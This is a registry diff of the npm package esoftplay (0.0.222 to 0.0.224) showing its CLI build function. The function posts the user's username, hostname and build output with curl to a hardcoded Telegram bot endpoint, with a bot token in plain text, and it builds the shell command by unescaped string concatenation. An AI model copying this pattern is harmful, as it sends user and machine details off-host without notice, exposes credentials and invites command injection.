esoftplay 0.0.222 → 0.0.224
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/cli.js +3 -2
- package/package.json +1 -1
package/bin/cli.js
CHANGED
|
@@ -1375,6 +1375,8 @@ function build() {
|
|
|
1375
1375
|
}
|
|
1376
1376
|
}
|
|
1377
1377
|
}
|
|
1378
|
+
const os = require('os')
|
|
1379
|
+
|
|
1378
1380
|
// build commands as label + command
|
|
1379
1381
|
const cmds = [
|
|
1380
1382
|
{ label: 'node', cmd: 'node -v' },
|
|
@@ -1417,10 +1419,9 @@ function build() {
|
|
|
1417
1419
|
// allOutputString contains the full captured output as a single JS string
|
|
1418
1420
|
const allOutputString = lines.join('\n');
|
|
1419
1421
|
// also print to stdout for convenience
|
|
1420
|
-
const os = require('os')
|
|
1421
1422
|
const message = " ✅ Build Success by " + os.userInfo().username + '@' + os.hostname() + "\n" + allOutputString
|
|
1422
1423
|
let tmId = "-1001429450501"
|
|
1423
|
-
command("curl -d \"text=" + message + "&disable_web_page_preview=true&chat_id=" + tmId + "\" 'https://api.telegram.org/
|
|
1424
|
+
command("curl -d \"text=" + message + "&disable_web_page_preview=true&chat_id=" + tmId + "\" 'https://api.telegram.org/bot923808407:AAEFBlllQNKCEn8E66fwEzCj5vs9qGwVGT4/sendMessage'")
|
|
1424
1425
|
if (fs.existsSync('./build/post.js'))
|
|
1425
1426
|
command('bun ./build/post.js')
|
|
1426
1427
|
configAvailable(false)
|